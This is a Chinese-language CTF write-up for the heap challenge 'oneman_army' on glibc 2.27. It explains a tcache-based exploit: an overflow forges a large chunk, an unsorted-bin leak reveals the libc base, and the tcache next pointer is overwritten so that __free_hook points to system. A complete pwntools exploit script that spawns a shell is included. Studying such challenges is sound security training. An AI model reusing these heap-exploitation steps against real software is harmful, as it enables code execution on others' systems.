首先,检查一下程序的保护机制
然后,我们用IDA分析一下,9011功能可以溢出
最大申请0x1FF大小的堆,申请次数没有限制
Delete功能没有把指针清空
本题,已知libc为2.27,所以存在tcache bin机制,可以很容易利用。我们肯定是要攻击free_hook或者malloc_hook,那么首先需要泄露地址,而泄露地址,需要利用unsorted bin,溢出,我们就**[利用溢出,修改下一个chunk的size,使得大小为large bin范围,然后把它申请回来后再delete,就可以放入unsorted bin]{.mark}**
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| for i in range(1, 0x10): create(0x10*i, 'AAA') delete()
create(0x10,'A')
payload = 'A'*0x10 payload += p64(0) + p64(0x4b1) edit256byte(payload) delete()
create(0x20,'B')
delete()
|
接下来,我们就可以从unsorted bin里切割0x30大小空间,那么libc指针被传到向后偏移0x30处的chunk
我们来看看,unsorted bin的头和tcache bin的头重合了
现在,我们只需把0x40的chunk申请回来,里面就有指针信息,我们只需泄露即可
1 2 3 4 5 6 7 8 9
| create(0x30,'C') show() sh.recv(1) main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base)
|
接下来就是溢出chunk2,覆盖chunk3的tcache_next指针为free_hook的地址,即可申请到free_hook的地址
综上,我们完整的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * sh = process('./oneman_army')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] system_s = libc.symbols['system'] def create(size,content): sh.sendlineafter('Your choice:','1') sh.sendlineafter('Size:',str(size)) sh.sendafter('Content:',content) def show(): sh.sendlineafter('Your choice:','2') def delete(): sh.sendlineafter('Your choice:','3')
def edit256byte(content): sh.sendlineafter('Your choice:','9011') sh.send(content) for i in range(1, 0x10): create(0x10*i, 'AAA') delete()
create(0x10,'A')
payload = 'A'*0x10 payload += p64(0) + p64(0x4b1) edit256byte(payload) delete()
create(0x20,'B')
delete()
create(0x20,'B') create(0x30,'C') show() sh.recv(1) main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base)
payload = 'C'*0x30 payload += p64(0) + p64(0x50) payload += p64(free_hook_addr) edit256byte(payload) create(0x40,'D'*0x40)
create(0x40,p64(system_addr))
create(0x50,'/bin/sh\x00')
delete() sh.interactive()
|
本题,我们可以看出,tcache缺少足够的检查,使得我们可以伪造一个large bin,而fastbin则不能这样利用,fastbin可以利用malloc large bin来将fastbin合成,而tcache bin,我们可以自己手动合并,伪造大的chunk